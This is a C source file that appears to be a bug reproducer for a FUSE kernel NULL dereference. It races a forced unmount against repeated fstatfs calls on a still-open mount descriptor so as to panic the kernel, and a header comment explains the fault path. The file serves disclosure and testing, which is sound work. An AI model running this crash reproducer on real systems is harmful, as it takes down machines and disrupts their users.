DF-3230 / df3230.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-3230 โ post-unmount fstatfs(fd) NULL-derefs in fuse_statfs: * fuse_ipc_get() runs on mp->mnt_data AFTER fuse_unmount stored NULL. * * fuse_unmount (fuse_vfsops.c:294): mp->mnt_data = NULL; * kern_fstatfs (kern/vfs_syscalls.c:1495): mp = fp->f_nchandle.mount * (or vnode->v_mount) โ still the valid fuse mount; * fuse_statfs (fuse_vfsops.c:393): fmp = VFSTOFUSE(mp) == NULL * (no NULL/dead guard at entry); * fuse_ipc_get (fuse_ipc.c:100): atomic_fetchadd_long(&fmp->unique) * -> fetch-add at NULL+0x160 -> Fatal trap 12, page fault, * supervisor write, fuse_ipc_get+0x63. * * Discovered live during DF-3229 staging (two independent panics on the * stock guest, identical signature) โ this is the minimal deterministic * reproducer. Distinct from DF-3193 (freed-fmp walk on the wake path); * this is the ENTRY path with a NULL fmp, and it is deterministic: any * fstatfs on a still-open fd after its fuse mount unmounted. * * Build: cc -O2 -Wall -o df3230 df3230.c * Run: (root) kldload fuse && ./df3230 -> kernel panic */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/wait.h> #define FUSE_KERNEL_VERSION 7 #define FUSE_KERNEL_MINOR_VERSION 28 struct fuse_in_header { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_init_in { uint32_t major, minor, max_readahead, flags; }; struct fuse_init_out { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; }; struct fuse_kstatfs { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; }; struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_open_out { uint64_t fh; uint32_t open_flags; uint32_t padding; }; struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; #define MNTPT "/mnt/df3230" static int g_fd = -1; static int write_reply(uint64_t unique, int32_t error, const void *payload, size_t payload_len) { size_t actual = sizeof(struct fuse_out_header) + payload_len; uint8_t *out = calloc(1, actual); struct fuse_out_header *ohd = (struct fuse_out_header *)out; ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual; if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len); ssize_t w = write(g_fd, out, actual); free(out); return (w < 0) ? -1 : 0; } #include <signal.h> #include <pthread.h> static volatile sig_atomic_t g_alrm = 0; static void on_alrm(int s) { (void)s; g_alrm = 1; } static void *service_thr(void *arg) { uint8_t buf[65536]; struct fuse_in_header ihd; (void)arg; for (;;) { ssize_t n; g_alrm = 0; alarm(2); n = read(g_fd, buf, sizeof(buf)); alarm(0); if (n <= 0) return NULL; /* dead or quiet */ memcpy(&ihd, buf, sizeof(ihd)); if (ihd.opcode == 26) { /* FUSE_INIT */ struct fuse_init_out io; memset(&io, 0, sizeof(io)); io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION; io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256; write_reply(ihd.unique, 0, &io, sizeof(io)); } else if (ihd.opcode == 17) { /* FUSE_STATFS */ struct fuse_statfs_out so; memset(&so, 0, sizeof(so)); so.st.blocks = 1<<16; so.st.bfree = 1<<15; so.st.bavail = 1<<15; so.st.files = 4096; so.st.ffree = 4000; so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096; write_reply(ihd.unique, 0, &so, sizeof(so)); } else if (ihd.opcode == 27 || ihd.opcode == 14) { /* OPENDIR/OPEN */ struct fuse_open_out oo; memset(&oo, 0, sizeof(oo)); oo.fh = 0x1000 + ihd.unique; write_reply(ihd.unique, 0, &oo, sizeof(oo)); } else { write_reply(ihd.unique, -ENOSYS, NULL, 0); } } } static void *umount_thr(void *arg) { (void)arg; if (unmount(MNTPT, MNT_FORCE) < 0) perror("unmount"); else printf("umount returned\n"); fflush(stdout); return NULL; } int main(void) { uint8_t buf[65536]; struct fuse_in_header ihd; g_fd = open("/dev/fuse", O_RDWR); if (g_fd < 0) { perror("open /dev/fuse"); return 2; } signal(SIGALRM, on_alrm); siginterrupt(SIGALRM, 1); pid_t pid = fork(); if (pid == 0) { struct fuse_mount_info args; memset(&args, 0, sizeof(args)); args.fd = g_fd; args.from = "/dev/fuse"; args.max_read = 1 << 20; mkdir(MNTPT, 0755); if (mount("fuse", MNTPT, 0, &args) < 0) { perror("mount"); _exit(1); } /* hold the mount until parent signals */ sleep(30); _exit(0); } /* background daemon thread services INIT/STATFS/OPENDIR */ pthread_t svc; pthread_create(&svc, NULL, service_thr, NULL); sleep(1); int mfd = open(MNTPT, O_RDONLY | O_DIRECTORY); if (mfd < 0) { perror("open mntpt"); return 3; } printf("mount fd opened; umount thread + fstatfs race loop\n"); fflush(stdout); /* racing loop: catches mnt_data==NULL inside the umount syscall */ pthread_t um; pthread_create(&um, NULL, umount_thr, NULL); for (int i = 0; i < 1000000; i++) { struct statfs st; int rc = fstatfs(mfd, &st); if (rc == -1 && errno != ENOTCONN && errno != EWOULDBLOCK) { printf("fstatfs err=%d (%s)\n", errno, strerror(errno)); fflush(stdout); } if (rc == 0) usleep(100); } printf("UNREACHED-if-panicked: race loop finished\n"); fflush(stdout); return 0; } |